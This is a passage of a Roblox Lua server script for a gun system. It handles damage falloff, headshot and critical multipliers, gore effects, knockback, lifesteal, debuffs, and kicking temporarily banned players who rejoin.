						Debris:AddItem(Particle, Particle.Lifetime.Max)
					end)
					Hit.CanCollide = false
					Hit.Transparency = 1
				end
			end
		else
			error("Hit part's name must be '_glass'.")
		end
	else
		error("Hit part doesn't exist.")
	end
end)

local function CalculateDamage(Damage, TravelDistance, ZeroDamageDistance, FullDamageDistance)
	local ZeroDamageDistance = ZeroDamageDistance or 10000
	local FullDamageDistance = FullDamageDistance or 1000
	local DistRange = ZeroDamageDistance - FullDamageDistance
	local FallOff = math.clamp(1 - (math.max(0, TravelDistance - FullDamageDistance) / math.max(1, DistRange)), 0, 1)
	return math.max(Damage * FallOff, 0)
end

InflictTarget.OnServerInvoke = function(Player, Module, Tool, Tagger, TargetHumanoid, TargetTorso, Damage, Misc, Critical, Hit, GoreData, ExplosiveData)
	SecureSettings(Player, Tool, Module) --Second layer
	local TrueDamage
	if ExplosiveData and ExplosiveData[1] then
		local DamageMultiplier = (1 - math.clamp((ExplosiveData[3] / ExplosiveData[2]), 0, 1))
		TrueDamage = ExplosiveData[4] and ((Hit and Hit.Name == "Head" and Damage[3]) and Damage[1] * Damage[2] or Damage[1]) * DamageMultiplier or (Hit and Hit.Name == "Head" and Damage[3]) and Damage[1] * Damage[2] or Damage[1]
	else
		TrueDamage = Damage[5] and CalculateDamage((Hit and Hit.Name == "Head" and Damage[3]) and Damage[1] * Damage[2] or Damage[1], Damage[4], Damage[6], Damage[7]) or (Hit and Hit.Name == "Head" and Damage[3]) and Damage[1] * Damage[2] or Damage[1]
	end
	--GORE
	if TargetHumanoid.Health - TrueDamage <= 0 and not TargetHumanoid.Parent:FindFirstChild("gibbed") then
		if Hit then
			if Hit.Name == "Head" or Hit.Name == "Torso" or Hit.Name == "Left Arm" or Hit.Name == "Right Arm" or Hit.Name == "Right Leg" or Hit.Name == "Left Leg" or Hit.Name == "UpperTorso" or Hit.Name == "LowerTorso" or Hit.Name == "LeftUpperArm" or Hit.Name == "LeftLowerArm" or Hit.Name == "LeftHand" or Hit.Name == "RightUpperArm" or Hit.Name == "RightLowerArm" or Hit.Name == "RightHand" or Hit.Name == "RightUpperLeg" or Hit.Name == "RightLowerLeg" or Hit.Name == "RightFoot" or Hit.Name == "LeftUpperLeg" or Hit.Name == "LeftLowerLeg" or Hit.Name == "LeftFoot" then
				VisualizeGore:FireAllClients(Hit, TargetHumanoid.Parent, GoreData)
			end
		end
	end
	if Tagger then
		local CanDamage = DamageModule.CanDamage(TargetHumanoid.Parent, Tool.Parent, Damage[8])
		if ExplosiveData and ExplosiveData[1] and ExplosiveData[5] then
			if TargetHumanoid.Parent.Name == Tagger.Name then
				CanDamage = (TargetHumanoid.Parent.Name == Tagger.Name)
				if ExplosiveData[7] then
					TrueDamage = TargetHumanoid:GetState() ~= Enum.HumanoidStateType.Freefall and TrueDamage or (TrueDamage * (1 - ExplosiveData[6]))
				else
					TrueDamage = TrueDamage * (1 - ExplosiveData[6])
				end
			end
		end
		if TargetHumanoid and TargetHumanoid.Health ~= 0 and TargetTorso and CanDamage then
			while TargetHumanoid:FindFirstChild("creator") do
				TargetHumanoid.creator:Destroy()
			end
			local creator = Instance.new("ObjectValue",TargetHumanoid)
			creator.Name = "creator"
			creator.Value = Tagger
			Debris:AddItem(creator, 5)
			if Critical[1] then
				local CriticalChanceRandom = Random.new():NextInteger(0, 100)
				if CriticalChanceRandom <= Critical[2] then
					TargetHumanoid:TakeDamage(math.abs(TrueDamage * Critical[3]))
				else
					TargetHumanoid:TakeDamage(math.abs(TrueDamage))
				end
			else
				TargetHumanoid:TakeDamage(math.abs(TrueDamage))
			end
			if Misc[1] > 0 then --knockback
				if not (ExplosiveData and ExplosiveData[1] and ExplosiveData[5]) then
					local Shover = Tagger.Character.HumanoidRootPart or Tagger.Character.Head
					local Duration = 0.1
					local Speed = Misc[1] / Duration
					local Velocity = (TargetTorso.Position - Shover.Position).Unit * Speed
					local ShoveForce = Instance.new("BodyVelocity")
					ShoveForce.MaxForce = Vector3.new(1e9, 1e9, 1e9)
					ShoveForce.Velocity = Velocity
					ShoveForce.Parent = TargetTorso
					Debris:AddItem(ShoveForce, Duration)
				end
			end
			if Misc[2] > 0 and Tagger.Character.Humanoid and Tagger.Character.Humanoid.Health ~= 0 then --lifesteal
				if ExplosiveData and ExplosiveData[1] and ExplosiveData[5] then
					if not TargetHumanoid.Parent.Name == Tagger.Name then
						Tagger.Character.Humanoid.Health = Tagger.Character.Humanoid.Health + (TrueDamage * Misc[2])
					end
				else
					Tagger.Character.Humanoid.Health = Tagger.Character.Humanoid.Health + (TrueDamage * Misc[2])
				end
			end
			if Misc[3] then	--affliction
				local roll = math.random(1, 100)
				if roll <= Misc[5] then
					if not TargetHumanoid.Parent:FindFirstChild(Misc[4]) then
						local Debuff = Tool:FindFirstChild("GunScript_Server"):FindFirstChild(Misc[4]):Clone()
						Debuff.creator.Value = creator.Value
						Debuff.Parent = TargetHumanoid.Parent
						Debuff.Disabled = false
					end
				end
			end
		end
	else
		warn("Unable to register damage because player is no longer existing here")
	end
end

Players.PlayerAdded:Connect(function(player)
	for i, v in pairs(_G.TempBannedPlayers) do
		if v == player.Name then
			player:Kick("You cannot rejoin a server where you were kicked from.")
			warn(player.Name.." tried to rejoin a server where he/she was kicked from.")
			break
		end
	end
end)